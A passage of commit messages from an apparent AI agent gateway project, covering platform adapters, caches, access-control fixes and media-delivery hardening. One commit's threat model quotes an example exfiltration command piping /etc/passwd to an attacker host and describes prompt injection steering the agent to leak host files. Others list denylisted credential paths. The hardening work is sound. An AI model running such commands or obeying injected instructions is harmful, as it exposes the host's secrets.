post-insert `move_to_end` (a fresh insert is already most-recent).
- gateway/platforms/feishu.py: drop the same redundant post-insert
`move_to_end` from the salvaged _message_text_cache LRU (#23706).
- scripts/release.py: add AUTHOR_MAP entries for the salvaged commits'
authors (amathxbt #22155, ErnestHysa #32636/#32708) so the contributor
audit passes when these commits land on main.
- tests/tools/test_tool_output_limits.py: autouse fixture resets the new
module-level limits cache between tests.
- tests/gateway/test_feishu.py: hand-built adapter fixture seeded
_message_text_cache as a plain dict; it's now an OrderedDict, so the
fixture type had to match.
The _guid_cache dict grows without bound as new contacts/groups are
resolved. In a long-running gateway instance with many unique targets
this becomes a slow memory leak.
Replace the plain dict with an OrderedDict capped at 500 entries.
When the cap is exceeded the oldest (least-recently-used) entries are
evicted.
_message_text_cache was a plain dict with no size limit. Every unique
message_id whose text was fetched (for reply-context lookups) stayed in
memory permanently, causing unbounded growth in long-running deployments
with active group chats.
Replace with an OrderedDict and evict the least-recently-used entry
whenever the cache exceeds _FEISHU_MESSAGE_TEXT_CACHE_SIZE (512). Cache
hits call move_to_end() to refresh LRU order. Mirrors the identical
pattern already used by _pending_processing_reactions in the same class.
When PTB's general httpx pool is exhausted, it converts httpx.PoolTimeout
into telegram.error.TimedOut whose message states the request was *not*
sent to Telegram. The send retry loop treated all non-connect TimedOut as
non-retryable, so a pool timeout raised immediately, skipped all 3 retry
attempts, and was returned as retryable=False -- silently dropping the
message (agent responses, cron reports, etc.).
A pool timeout means the request never left the process, making it the
safest case to retry. Add _looks_like_pool_timeout() and treat it like a
connect timeout in both the in-loop retry decision and the outer retryable
determination, so pool timeouts flow through the existing backoff loop and
stay retryable on exhaustion.

Defense-in-depth on top of the EphemeralReply gate: even if a config.yaml

The MEDIA_TAG_CLEANUP_RE and extract_local_files path regex both used
(?:~/|/) to anchor paths, which only matches Unix-style absolute and
home-relative paths. Two additional _TOOL_MEDIA_RE patterns in run.py
had the same limitation. Windows absolute paths (C:\Users\..., D:/...)
were silently ignored, causing MEDIA directive delivery to fail.
Add [A-Za-z]:[/\\] as a third anchor alternative in all four regex
locations (base.py x2, run.py x2). Also update path separators in
extract_local_files from / to [/\\] so it can traverse Windows
directory trees.
Revert accidental + quantifier in MEDIA_TAG_CLEANUP_RE lookahead
that changed match-one to match-one-or-more (unrelated to fix).
Fixes: #34632
Convert the salvaged text-debounce delays from HERMES_* env vars to
config.yaml (gateway.platforms.<name>.extra.text_batch_delay_seconds /
text_batch_split_delay_seconds), per the '.env is for secrets only'
policy. Adds a finite/non-negative guard so bad YAML values fall back to
the defaults instead of crashing asyncio.sleep().
- whatsapp.py / weixin.py: read delays via _coerce_float_extra(config.extra)
- update Weixin content-dedup regression test for the deferred dispatch path
- add text-debounce coverage (whatsapp + weixin): defaults, config override,
bad-value fallback, env-var-ignored, burst-collapse, lone-message
- docs: WhatsApp + Weixin config keys
WhatsApp and WeChat (Weixin/iLink) both deliver messages individually
without any client-side batching, so rapid multi-message bursts (forwarded
batches, paste-splits, etc.) each trigger a separate agent invocation.
This wastes tokens (redundant system prompts / context for each fragment)
and degrades UX (the user receives reply fragments instead of a single
coherent response).
Both adapters now mirror the Telegram adapter's proven text-debounce
pattern:
- _text_batch_delay_seconds / _text_batch_split_delay_seconds
(configurable via env vars)
- _pending_text_batches dict for per-session aggregation
- _enqueue_text_event() concatenates successive TEXT messages and
resets the flush timer
- _flush_text_batch() dispatches after the quiet period expires
Configurable via env vars:
HERMES_WHATSAPP_TEXT_BATCH_DELAY_SECONDS (default 5.0)
HERMES_WHATSAPP_TEXT_BATCH_SPLIT_DELAY_SECONDS (default 10.0)
HERMES_WEIXIN_TEXT_BATCH_DELAY_SECONDS (default 3.0)
HERMES_WEIXIN_TEXT_BATCH_SPLIT_DELAY_SECONDS (default 5.0)
* Inspired by Claude Code: /compress here [N] — boundary-aware 'summarize up to here'
Adds a user-chosen compression boundary to the existing /compress command.
/compress here [N] summarizes everything except the most recent N exchanges
(default 2), which are preserved verbatim — letting the user pick the
compression boundary instead of relying on the automatic token-budget heuristic.
Inspired by Claude Code's Rewind 'Summarize up to here' action (v2.1.139,
Week 20, May 2026): https://code.claude.com/docs/en/whats-new/2026-w20
- hermes_cli/partial_compress.py: pure split/parse helpers + seam-alternation
guard (shared by CLI and gateway).
- cli.py / gateway/run.py: route 'here [N]' / '--keep N' to partial compression;
compress only the head, re-append the verbatim tail through the seam guard.
- Preserves message-flow role alternation (seam guard merges any illegal
user->user / assistant->assistant adjacency).
- Reuses the existing _compress_context session-rotation/lock machinery — no
changes to the compression core.
- Bare /compress (full) and /compress <focus> behavior unchanged.
Tests: 12 helper unit tests + 5 CLI integration tests + E2E (interleaved
tool-call transcript, degenerate/multimodal seams, real handler path).
* feat(model-picker): group multi-endpoint providers under one row
The interactive provider pickers (hermes model, setup wizard, Telegram
/model) listed every provider slug flat, so vendors with several endpoints
(Kimi/Moonshot, MiniMax, xAI Grok, Google Gemini, OpenAI, OpenCode, GitHub
Copilot) each occupied multiple top-level rows. Now related slugs fold into
one top-level row that drills down to the specific endpoint.
- models.py: add PROVIDER_GROUPS table + group_providers() fold (display
only — CANONICAL_PROVIDERS, slugs, --provider, /model <provider:model>
all unchanged and individually addressable).
- hermes model (main.py): group rows drill into a member sub-picker, then
dispatch to the existing _model_flow_* unchanged. setup wizard inherits it.
- Telegram /model: new mpg:<group> callback expands to member mp:<slug>
buttons; single authenticated member degrades to a direct button.
- Grouping is the single shared fold across all three surfaces.
Validation: 163 targeted tests pass; E2E confirms group->member->model
resolves to the correct concrete slug for all families.
MEDIA:<path> tags for .md/.json/.yaml/.xml/.html and other document
extensions were silently dropped. extract_media() carried a narrow
extension allowlist that omitted them, while extract_local_files()
had a broad one. The dispatch sites then ran an unconditional
re.sub(r'MEDIA:\\s*\\S+', '') that stripped the tag from the body even
when extract_media had not matched it — so extract_local_files (broad
list) ran on text where the path was already gone, and the file was
delivered by neither path.
- Add MEDIA_DELIVERY_EXTS in gateway/platforms/base.py as the single
source of truth; extract_media and extract_local_files both derive
their extension set from it (no more drift).
- Replace the loose MEDIA cleanup at the non-streaming dispatch site
(base.py) and the streaming consumer (stream_consumer.py) with the
shared, extension-anchored MEDIA_TAG_CLEANUP_RE. A MEDIA: tag with an
unknown extension is left in the body so the bare-path detector can
still pick it up instead of being black-holed.
- Chain cleaned text through extract_media -> extract_images ->
extract_local_files in run.py's post-stream media delivery (it was
dropping the cleaned text and rescanning raw text with MEDIA: tags).
- Regression tests covering both halves: previously-dropped extensions
now extract, and unknown-ext paths survive the cleanup.
Consolidates the MEDIA extension-allowlist PR cluster.

The Feishu adapter stored one asyncio.Lock per chat_id in a plain dict
with no upper bound, so a long-running gateway that saw many distinct
chats grew _chat_locks without limit. Port the LRU-eviction pattern
already used by the yuanbao adapter: OrderedDict + move_to_end on access,
CHAT_LOCK_MAX_SIZE cap (1000), and eviction that skips currently-held
locks (falling back to dropping the LRU entry only if all are held).
* docs(code-execution): document HERMES_* env narrowing + passthrough workaround
The execute_code sandbox-child env scrub (108397726, #27303) deliberately
dropped the broad HERMES_ prefix passthrough, keeping only an operational
4-var allowlist (HERMES_HOME/PROFILE/CONFIG/ENV). A script that relied on a
non-secret HERMES_* var (HERMES_BASE_URL, HERMES_KANBAN_DB, HERMES_*_WEBHOOK,
or a plugin-defined one) now sees it unset in the child.
Document the behavior change and the two recovery routes (terminal.env_passthrough
in config.yaml, or required_environment_variables in skill frontmatter), plus
the debug log line that surfaces the drop for diagnosis.
* fix(api_server): emit per-turn transcript on run.completed (#34703)
WebUI clients lost intermediate (pre-tool-call) assistant text after
switching session pages mid-stream. The session-chat SSE stream delivers
all assistant text as assistant.delta events under one message_id
interleaved with tool.* events, then a single assistant.completed
carrying only the final reply — so a client accumulating deltas into one
buffer cannot reconstruct intermediate text segments that preceded tool
calls, and they vanish from the live view (state.db persists them
correctly).
run.completed now carries the authoritative per-turn transcript
(assistant + tool messages for this turn, in client-safe shape) so any
SSE consumer can reconcile its live view against ground truth without a
separate GET /messages round-trip. Purely additive — clients that ignore
the field are unaffected.
Config-driven platform policies (dm_policy / group_policy / allow_from /
group_allow_from) for WeCom, Weixin, Yuanbao, and QQBot now work without
also setting a PLATFORM_ALLOWED_USERS env var.
These adapters enforce their access policy at intake — a message is dropped
inside the adapter and never dispatched unless it already passed the policy.
The gateway's env-based check (_is_user_authorized) ran afterward and, with
no env allowlist set, fell through to an env-only default-deny — silently
rejecting `dm_policy: open` and config-only allowlists the adapter had
already authorized.
Rather than re-implement each adapter's policy a second time in run.py
(which would drift), adapters that own their gate now declare it via a new
BasePlatformAdapter.enforces_own_access_policy property (default False). The
gateway trusts that flag and skips the env-only default-deny for those
platforms. Env allowlists still take precedence when set.
Also resolves unauthorized DM behavior from config dm_policy so allowlist /
disabled policies drop unauthorized DMs silently instead of leaking pairing
codes, while an explicit pairing policy opts back in.

Vulture + per-symbol verification (whole-repo grep incl. tests, string
literals, getattr, decorator/registry/argparse dispatch) confirmed each of

Also dropped two imports left unused by the removals:
- tools/file_operations.py: get_safe_write_root alias
- tools/computer_use/cua_backend.py: import platform
Pure deletion: -551 LOC. No behavior change. Test files covering the edited
modules pass (640/640); the broader suite's pre-existing/env-dependent
failures reproduce unchanged on origin/main.
The _on_reaction approval handler used:
if self._allowed_user_ids and sender not in self._allowed_user_ids:
When MATRIX_ALLOWED_USERS is not configured, _allowed_user_ids is an
empty set. The short-circuit on the empty set caused the deny block to
never execute, allowing any Matrix room member to approve or deny tool
calls via ✅/❎ reactions — even users that run.py's _is_user_authorized
would reject for regular messages.
Fix mirrors the Telegram _is_callback_user_authorized fix (commit
89d32052e, PR #28494): deny by default when no allowlist is configured,
unless GATEWAY_ALLOW_ALL_USERS=true is explicitly set.
Operators can now see which MEDIA path was dropped and why, generated
artifacts under the canonical ~/.hermes/cache/{images,...} layout deliver,
and a crafted ~\x00 path no longer aborts the whole attachment batch.
- MEDIA_DELIVERY_SAFE_ROOTS: add canonical cache/{images,audio,videos,
documents,screenshots} alongside the legacy *_cache dirs (#31733).
- filter_media/local_delivery_paths: log the rejected path (was a blind
"outside allowed roots") via _log_safe_path, which strips control chars
and Unicode line separators so a model-emitted path can't forge a log line.
- validate_media_delivery_path + extract_media: guard os.path.expanduser
so a ~\x00 path returns None / is skipped instead of raising and dropping
every other attachment in the response.
Salvaged and slimmed from #33251 (780 LOC -> 35): the reason-tag taxonomy,
the parts-eliding redactor, and the extension-partition hoist are dropped in
favor of logging the path directly. All three findings were verified and
reproduced by the contributor.

Add an in-memory resourceId->local-path cache (24h TTL, 256-entry LRU) to
MediaResolveMiddleware so the same Yuanbao resource isn't re-downloaded when
it's referenced more than once in a session (own attachment, then quoted, then
group-observed backfill). Each reference otherwise triggers a fresh token
exchange + COS download.
The cache verifies the file still exists on disk before returning a hit (cache
dir may be swept) and is threaded through all three resolve paths:
_resolve_media_urls (rid parsed from placeholder URL), _collect_observed_media,
and the DispatchMiddleware quote path.
Salvaged from PR #30418 by @loongfay; the broader middleware refactor in that
PR converged with work already merged on main, so only the net-new download
cache is carried over.
Remove unused imports (F401) and duplicate/shadowed import
redefinitions (F811) across the codebase using ruff's safe
autofixes. No behavioral changes -- imports only.
- ~1400 safe autofixes applied across 644 files (net -1072 lines)
- __init__.py re-exports preserved (excluded from F401 removal so
public re-export surfaces stay intact)
- Re-exports that are imported or monkeypatched by tests but look
unused in their defining module are kept with explicit # noqa:
F401 (gateway/run.py load_dotenv; run_agent re-exports from
agent.message_sanitization, agent.context_compressor,
agent.retry_utils, agent.prompt_builder, agent.process_bootstrap,
agent.codex_responses_adapter)
- Unsafe F841 (unused-variable) fixes deliberately skipped -- those
can change behavior when the RHS has side effects
- ruff lints remain disabled in pyproject.toml (only PLW1514 is
selected); this is a one-time cleanup, not a config change
Verification:
- python -m compileall: clean
- pytest --collect-only: all 27161 tests collect (zero import errors)
- core entry points import clean (run_agent, model_tools, cli,
toolsets, hermes_state, batch_runner, gateway)
- static scan: every name any test imports directly from an edited
module still resolves
Replace the runner-introspection trick in #32998 with an explicit
`set_topic_recovery_fn` setter on `BasePlatformAdapter`. The gateway
runner installs it once at adapter init; the adapter calls
`_apply_topic_recovery(event)` before any session keying.
Also apply the hook in `BasePlatformAdapter.handle_message` so the
running-agent guard and pending-message queue key off the recovered
thread_id too — not just the text-batch coalescence.
Net change vs #32998 alone: -2 files of indirection (no
`_message_handler.__self__` peek, no separate `_normalize_text_batch_source`),
+1 generic mechanism (other adapters can install their own hook later).
PR #29523 restricted MEDIA: paths and bare local paths in agent output to
files under the Hermes media cache or an operator-allowlisted root, with
a 10-minute recency window as a fallback. The intent was to defend
against prompt-injection-driven exfiltration of host secrets, but in the
default single-user setup the asymmetry doesn't earn its keep: we accept
any document type the user uploads inbound (.md, .pdf, .txt, .docx, ...)
and the agent already has terminal access — anything that can convince
it to emit a MEDIA: tag for /etc/passwd can equally convince it to
`cat /etc/passwd | curl attacker.com`.
Practical breakage: agents that produced an .md, .pdf, or other
artifact more than ~10 minutes ago, or outside the cache allowlist,
showed the user a raw filepath in chat instead of the file.
Default flipped to denylist-only:
• /etc, /proc, /sys, /dev, /root, /boot, /var/{log,lib,run}
• $HOME/{.ssh,.aws,.gnupg,.kube,.docker,.config,.azure,.gcloud}
• macOS Library/Keychains
• $HERMES_HOME/{.env, auth.json, credentials}
The legacy allowlist+recency-window behavior stays available via
opt-in: `gateway.strict: true` in config.yaml (or
`HERMES_MEDIA_DELIVERY_STRICT=1`). Recommended for public-facing bots
where prompt injection from one user shouldn't be able to exfiltrate
the host's secrets to that same user.
• `gateway/platforms/base.py` — `validate_media_delivery_path()`
short-circuits to "return resolved if not under denylist" when
strict is off. Strict mode preserves the original cache-then-
allowlist-then-recency logic. New `_media_delivery_strict_mode()`
reader for `HERMES_MEDIA_DELIVERY_STRICT`.
• `hermes_cli/config.py` — `gateway.strict: false` added to
DEFAULT_CONFIG; existing keys documented as "only consulted in
strict mode." No `_config_version` bump needed (deep-merge picks
up the new default for old installs).
• `gateway/run.py` — bridges `gateway.strict` →
`HERMES_MEDIA_DELIVERY_STRICT` at startup.
• `tools/send_message_tool.py` — schema description broadened back
to plain "any local path."
• Tests — existing strict-path tests pinned to STRICT=1 so they keep
exercising the legacy behavior; new `TestMediaDeliveryDefaultMode`
with 8 cases covering the public default (stale .md accepted, any
extension delivers, credential paths still blocked, strict env-var
aliases, filter E2E).
Validation:
- tests/gateway/test_platform_base.py: 119/119 pass
- tests/gateway/test_tts_media_routing.py: 7/7 pass
- tests/tools/test_send_message_tool.py: 121/121 pass
- tests/hermes_cli/test_kanban_notify.py: 12/12 pass
- tests/cron/test_scheduler.py: 120/120 pass
- E2E via execute_code with real imports:
• stale .md outside allowlist → accepted (default)
• same path with STRICT=1 → rejected
• $HOME/.ssh/id_rsa → rejected (default)
• filter_local_delivery_paths([md, key]) → [md] only
• gateway.strict in config.yaml → bridged to env (true=1, false=0)
#33016 added GET /v1/skills + /v1/toolsets on the API server; the
capability flag introduced in this branch was placeholder-False. Flip
to True so capability probers see the truth.
Lets external clients enumerate the agent's skills and resolved toolsets
deterministically over the OpenAI-compatible API server, without standing
up the dashboard web server or sending a chat message and asking the model
to list them.
- GET /v1/skills — list installed skills (name, description, category)
- GET /v1/toolsets — list toolsets resolved for the api_server platform,
with enabled/configured state and the concrete tool names each expands
to
- Both gated by API_SERVER_KEY (same Bearer scheme as every other /v1/*
endpoint)
- /v1/capabilities advertises both new endpoints
Closes the gap a community user just hit asking how to list skills over
REST when only the OpenAI-compatible server is running.
Test plan
- python -m pytest tests/gateway/test_api_server.py -k "Skills or Toolsets or Capabilities" -o 'addopts=' -q
→ 9/9 pass
- python -m pytest tests/gateway/test_api_server.py -o 'addopts=' -q
→ 156/156 pass, no regressions
- E2E: started a real adapter on an isolated HERMES_HOME with a fake
skill installed; curl-equivalent calls to /v1/capabilities,
/v1/skills, /v1/toolsets returned the expected JSON; unauthenticated
calls returned 401 with the configured API_SERVER_KEY.
Follow-up on top of @TheOnlyMika's #32155 cherry-pick. The defusedxml
hardening import was unconditional, which would break the gateway for
anyone running a WeComCallback adapter without the (transitive-only)
defusedxml present.
- Wrap the import in the same try/except pattern as aiohttp/httpx in
the same file. Sets DEFUSEDXML_AVAILABLE flag.
- Extend check_wecom_callback_requirements() to gate on the flag, so
the gateway logs the actual missing dep and skips the adapter
instead of crashing.
- Add [wecom] extra to pyproject.toml with defusedxml==0.7.1.
- Register platform.wecom_callback in tools/lazy_deps.py so users get
prompted to install it on first WeComCallback configuration, same
pattern as discord/slack/matrix.
defusedxml is still the right call for pre-auth XML parsing — this
commit just makes the dep declarative and recoverable instead of a
hard import-time crash.
Two small defensive-hardening changes:
- web/src/components/Markdown.tsx: render links only for http(s)/mailto
schemes; other schemes (javascript:, data:, vbscript:) are dropped to
plain text so a crafted link in rendered content can't execute on click.
- gateway/platforms/wecom_callback.py: parse the untrusted, pre-auth WeCom
callback request body with defusedxml instead of xml.etree, blocking
entity-expansion / billion-laughs (and XXE) on the parse path. defusedxml
is already a dependency (uv.lock); response-building XML in
wecom_crypto.py is unchanged (it is not parsed from untrusted input).
Verified: dashboard typechecks and builds; defusedxml blocks an
entity-expansion payload while valid WeCom envelopes still parse.
The GFM → Telegram-row-group rewriter previously joined every line in
every row with a blank line ("\n\n".join(rendered_rows)), which made
multi-column tables explode into one-bullet-per-paragraph walls on
mobile. It also emitted the row heading twice when the table had no
row-label column: once as the standalone bold heading and once again
as the first labeled bullet (heading == headers[0] == data_cells[0]).
This commit:
* Uses single newlines between the heading and its bullets within a
row-group, and a blank line only BETWEEN row-groups.
* Skips any bullet whose value duplicates the heading text when the
table has no row-label column (the heading already carries that
information). Tables WITH a row-label column are unaffected since
the heading comes from the label cell and never duplicates a header.
Updated existing test assertions accordingly and added two regression
tests: one that reproduces the screenshot bug (wide five-column "Plays"
comparison table) and one that pins the row-label-column behavior so
the dedup logic doesn't accidentally swallow real data.
tests/gateway/test_telegram_format.py: 101 passed
Salvage follow-up. The new private-DM-topic fail-loud contract from
PR #27107 hits 'requires a reply anchor' when reply_to_mode='off' is
configured, even though commit 21a15b671 (PR #23994) verified that
message_thread_id alone routes correctly on python-telegram-bot's
reference client when the user has explicitly opted out of quote
bubbles. Carve out the explicit opt-in path so users on reply_to_mode
'off' aren't regressed — the new guard now only applies to callers
that didn't ask for the anchor to be suppressed.
The gateway's media delivery allowlist required files live inside
`~/.hermes/cache/{documents,images,...}`, which is the wrong shape for
real agent usage. Agents naturally produce artifacts via terminal tools
(`pandoc -o /tmp/report.pdf`, `matplotlib savefig`, etc.) or
write_file into project directories — these never land under the cache.
Result: users got a raw file path in chat instead of an attachment.
This is doubly bad in deployment shapes where the cache directories
aren't writable by the agent at all: Hermes running in Docker with a
read-only mount, or with a Docker/Modal/SSH terminal backend whose
filesystem isn't the gateway host's filesystem.
Layered trust model:
1. Cache-dir allowlist (unchanged) — Hermes-managed roots always trusted.
2. Operator allowlist — `HERMES_MEDIA_ALLOW_DIRS` env var, now also
surfaced as `gateway.media_delivery_allow_dirs` in config.yaml.
3. Recency-based trust (new, default on) — files whose mtime is within
`gateway.trust_recent_files_seconds` (default 600s) of "now" are
trusted even outside the cache/operator allowlist. Old host files
(`/etc/passwd`, `~/.bashrc`, `~/.ssh/id_rsa`) have mtimes measured
in days/months, well outside the window — prompt-injection paths
pointing at pre-existing files are still rejected.
4. Hard denylist — `/etc`, `/proc`, `/sys`, `/dev`, `/root`, `/boot`,
`/var/{log,lib,run}`, plus `$HOME/.{ssh,aws,gnupg,kube,docker,config,
azure,gcloud}` and `Library/Keychains`. Denylist blocks delivery
even when recency would trust the file, in case an attacker
somehow refreshes a sensitive file's mtime.
Operators who want strict-allowlist behavior set
`gateway.trust_recent_files: false` and the system reverts to
pre-existing behavior.
Tests: 6 new cases in test_platform_base.py cover the recency window,
disabled mode, system-path denylist, and the motivating PDF-in-project
scenario. 3 existing tests (test_platform_base, test_tts_media_routing,
test_send_message_tool) that exercised the strict-allowlist path are
updated to disable recency trust explicitly.
E2E validation: real `validate_media_delivery_path()` accepts fresh
PDFs in /tmp and project dirs, rejects /etc/passwd, ~/.ssh/id_rsa, and
files older than the window; config.yaml `gateway.*` keys bridge
correctly to the env vars the validator reads.
Second migration of an existing built-in platform adapter after Discord
(PR #30591) — follows the same shape established by IRC / Teams / LINE /
Google Chat / SimpleX and the playbook in
`references/platform-plugin-migration.md`. Advances the umbrella refactor
in #3823.
Matches Discord's parity bar — adapter under `plugins/platforms/mattermost/`
with the standard `__init__.py` / `adapter.py` / `plugin.yaml` shell,
`register(ctx)` entry point, **no back-compat shim** at the old import
path, and full parity for all five hooks Discord uses plus the
`apply_yaml_config_fn` hook (mattermost is the second consumer of #25443
after Discord):
* `standalone_sender_fn` — out-of-process cron delivery via Mattermost
REST API. Picks up the thread_id + media_files capabilities the
legacy `_send_mattermost` lacked (parity with Discord's `_standalone_send`).
* `setup_fn` — interactive `hermes setup gateway` wizard.
* `apply_yaml_config_fn` — translates `config.yaml` `mattermost:` keys
(`require_mention`, `free_response_channels`, `allowed_channels`) into
`MATTERMOST_*` env vars (replaces the hardcoded block in
`gateway/config.py`).
* `is_connected` — declares connection state from `MATTERMOST_TOKEN` +
`MATTERMOST_URL`.
* `check_fn` — verifies aiohttp is installed and both required env vars
are set.
* plus `allowed_users_env`, `allow_all_env`, `cron_deliver_env_var`,
`max_message_length` (4000 — Mattermost practical limit), `emoji`,
`required_env`, `install_hint`.
Files
-----
* `gateway/platforms/mattermost.py` (873 LOC) →
`plugins/platforms/mattermost/adapter.py` (git rename, R071) +
appended `register()` block, hook helpers, and `_standalone_send`
with media upload + thread_id support.
* New `plugins/platforms/mattermost/{__init__.py, plugin.yaml}` with
`requires_env` / `optional_env` declarations covering MATTERMOST_URL,
MATTERMOST_TOKEN, MATTERMOST_ALLOWED_USERS, MATTERMOST_ALLOW_ALL_USERS,
MATTERMOST_HOME_CHANNEL, MATTERMOST_REPLY_MODE,
MATTERMOST_REQUIRE_MENTION, MATTERMOST_FREE_RESPONSE_CHANNELS,
MATTERMOST_ALLOWED_CHANNELS.
* `gateway/config.py`: delete 17-LOC `mattermost_cfg` YAML→env bridge
(moved into plugin's `_apply_yaml_config`).
* `gateway/run.py::_create_adapter`: delete `Platform.MATTERMOST elif` —
replaced by the existing generic plugin-registry-first dispatch.
* `tools/send_message_tool.py`: delete `_send_mattermost` (22 LOC) +
`Platform.MATTERMOST elif` in `_send_to_platform` — the `else` branch
already routes plugin platforms through `_send_via_adapter`, which
hits the registry's `standalone_sender_fn`.
* `hermes_cli/setup.py`: delete `_setup_mattermost` (44 LOC) — replaced
by the plugin's `interactive_setup`.
* `hermes_cli/gateway.py`: delete `_PLATFORMS["mattermost"]` dict entry
(3 LOC) — plugin's `setup_fn` is dispatched via the plugin path in
`_configure_platform`.
* Consumer rewrite: 5 test files (test_mattermost.py,
test_media_download_retry.py, test_send_multiple_images.py,
test_stream_consumer.py, test_ws_auth_retry.py) get
`gateway.platforms.mattermost` → `plugins.platforms.mattermost.adapter`
with the bulk-rewrite recipe from the platform-plugin-migration playbook.
Single `mock.patch` string in test_stream_consumer.py also repointed.
* `tests/tools/test_send_message_missing_platforms.py`: thin
`(token, extra, chat_id, message)` compat shim around the plugin's
`_standalone_send(pconfig, …)` so existing test bodies continue to
work without rewriting every signature.
Validation
----------
* Plugin discovery: mattermost registers from `plugins/platforms/mattermost/`
alongside discord / teams / irc / line / google_chat / simplex.
All 9 hooks present (setup_fn, standalone_sender_fn,
apply_yaml_config_fn, is_connected, check_fn, allowed_users_env,
allow_all_env, cron_deliver_env_var, max_message_length=4000).
* Mattermost-touching tests: 62/62 pass
(`test_mattermost.py` + `test_send_message_missing_platforms.py`).
* Targeted selectors (mattermost or platform_registry or stream_consumer
or ws_auth_retry or media_download_retry or send_multiple_images or
send_message_tool or platform_connected): 433/433 pass.
* Full sweep (`scripts/run_tests.sh tests/gateway/ tests/cron/
tests/tools/test_send_message_tool.py tests/tools/test_send_message_missing_platforms.py
tests/integration/`): **6220/6220 pass in 47.8s, 0 failures**.
* Lint: ruff clean on all touched files.
* Git identity verified: kshitijk4poor.
* Rename detection: R071 (similarity dropped from a hypothetical R09x
by the ~320-line appended register block — ~36% growth over the
873-LoC base, vs Discord's 5101 LoC base which kept R091).
Closes part of #3823.
After sustained Bad Gateway / TimedOut reconnect cycles, the PTB httpx
client can enter a state where bot.send_message() returns a valid
Message (real message_id) but the message never reaches the recipient.
TelegramAdapter.send returns SendResult(success=True) and cron's
live-adapter branch marks the run delivered while the message is
silently dropped.
Add a _send_path_degraded flag. _handle_polling_network_error sets it
on reconnect storms; the existing _verify_polling_after_reconnect
heartbeat probe clears it once getMe() confirms the Bot client is
healthy. While the flag is set, send() short-circuits with
SendResult(success=False, retryable=True) so cron falls through to
the standalone delivery path (fresh HTTP session).
Closes#31165.

Fixes#31116 — two distinct bugs in fresh-install Matrix gateway:
1. Matrix E2EE setup installed only mautrix[encryption], leaving asyncpg
/ aiosqlite / Markdown / aiohttp-socks uninstalled. The first encrypted
connect failed with 'No module named asyncpg' deep inside
MatrixAdapter.connect(). Root cause: the setup wizard hand-rolled a
pip install of one package instead of using lazy_deps.ensure(
'platform.matrix'), and check_matrix_requirements() short-circuited the
runtime installer on 'import mautrix' alone — so the other 4 packages
were never pulled in.
2. Discord auto-enabled itself on every gateway start, even when the user
never selected Discord and had no DISCORD_BOT_TOKEN. Root cause:
gateway/config.py plugin-enablement loop gated enablement on
entry.check_fn() (just 'is the SDK importable?') and ignored
entry.is_connected (the 'did the user configure credentials?' probe).
Same bug class as commit 7849a3d73 fixed for _platform_status in the
setup wizard; this is the runtime counterpart. Affects Discord, Teams,
and Google Chat.
Changes:
- hermes_cli/setup.py::_setup_matrix — install via
lazy_deps.ensure('platform.matrix') to pull the full feature group.
- gateway/platforms/matrix.py::_check_e2ee_deps — verify asyncpg +
aiosqlite + PgCryptoStore in addition to OlmMachine, so E2EE failures
surface at startup instead of at first encrypted-room connect.
- gateway/platforms/matrix.py::check_matrix_requirements — use
feature_missing('platform.matrix') as the install gate instead of a
single 'import mautrix' check, so partial installs trigger the lazy
installer correctly.
- gateway/config.py plugin-enablement loop — consult entry.is_connected
before flipping enabled=True. Explicit YAML enabled=true still wins.
Tests: 3 new in tests/gateway/test_matrix.py (asyncpg-required,
aiosqlite-required, partial-install lazy-runs), 5 new in
tests/gateway/test_platform_registry.py (is_connected=False blocks,
is_connected=True enables, is_connected=None falls back to check_fn,
raising probe doesn't enable, explicit YAML wins).
Validation: 310 tests across affected test modules pass.
response_store.db (api server) holds conversation history including tool
payloads, prompts, and results. webhook_subscriptions.json holds per-route
HMAC secrets. Under a permissive umask (e.g. 0o022, default on most
distros) both files were created mode 0o644 — readable by other local
users on shared boxes.
- gateway/platforms/api_server.py: ResponseStore tightens itself + WAL/SHM
sidecars to 0o600 after __init__, then trusts the inode. (Original
contributor patch chmod'd after every _commit() — wasteful on a hot
api_server path; chmod-on-create is sufficient since SQLite preserves
mode bits across writes.)
- hermes_cli/webhook.py: _save_subscriptions writes via tempfile.mkstemp
(which itself creates the file with 0o600), chmods the temp before the
atomic rename, and re-asserts 0o600 on the destination so an existing
permissive file from before this fix gets narrowed.
Tests cover (a) creation under permissive umask leaves 0o600 and (b) an
existing 0o644 webhook_subscriptions.json gets narrowed on next save.
Tests guarded with skipif os.name=='nt' since POSIX mode bits don't apply
on Windows.
Salvaged from PR #30917 by @Hinotoi-agent. Reworked the api_server.py
side from chmod-on-every-commit to chmod-on-create.

When FEISHU_VERIFICATION_TOKEN is configured, an unauthenticated remote
could previously prove endpoint control by sending a url_verification
payload with any attacker-controlled challenge string — the handler
reflected the challenge BEFORE running the token check.
Move the verification_token check ahead of the url_verification echo so
the challenge response is gated on a valid token. Add a regression test
covering the wrong-token case. Also fix the stale
test_connect_webhook_mode_starts_local_server fixture to set
FEISHU_VERIFICATION_TOKEN (post #30746 webhook mode requires a secret).
Salvaged from PR #29663 by @m0n3r0 — kept the url_verification reorder
and its regression test; dropped the host-conditional weakening of the
#30746 secret guard (we want webhook secrets required regardless of
bind host, not only on 0.0.0.0/::).
Docs updated to call out the gating.

Operator misconfiguration is a client/setup error, not an internal server
exception. 403 "forbidden" more accurately reflects "this route refuses
to authenticate" than 500 "internal server error" — the latter triggers
incident alerting on operator monitoring and conflates real bugs with
config drift.
Follow-up tweak to PR #29629 by @m0n3r0.
Reject unsigned webhook requests when a route has no effective HMAC secret, even if the request handler is reached without the normal connect-time validation. Add regression coverage for the direct-handler path.
When asyncio.sleep() fires just before Task.cancel() is called, CPython
sets _must_cancel=True but cannot cancel the already-completed sleep
future, so CancelledError is delivered at the next await (handle_message)
rather than at the sleep. By that point the superseded task has already
popped the merged event from _pending_text_batches, so the superseding
task sees an empty batch and silently drops the message.
Fix: add a synchronous task-registry check between the sleep and the pop.
No await between the check and the pop means no other coroutine can
interleave, so the guard is race-free.
When WeCom returns errcode=40001 (invalid credential) or 42001 (token
expired), send() was returning a failure without evicting the bad token
from _access_tokens. All subsequent sends then kept using the same
invalid cached token until its TTL naturally expired (~7200s).
Fix: on the first token-rejection errcode, evict the cache entry and
retry once with a freshly fetched token. Non-token errcodes fail
immediately as before. If the refreshed token also fails, the error
is returned without looping further.
Adds four regression tests covering: successful retry on 40001,
successful retry on 42001, no retry on unrelated errcode, and clean
failure when the refresh does not help.
AI Card "tool progress" cards created with finalize=False were left in
streaming state on DingTalk's UI after a gateway restart because
disconnect() called _streaming_cards.clear() without first closing
them via _close_streaming_siblings.
Move the finalization loop before self._http_client.aclose() so the
HTTP client is still available when the finalize requests are sent.
Adds a regression test that asserts the HTTP client is alive during
finalization.
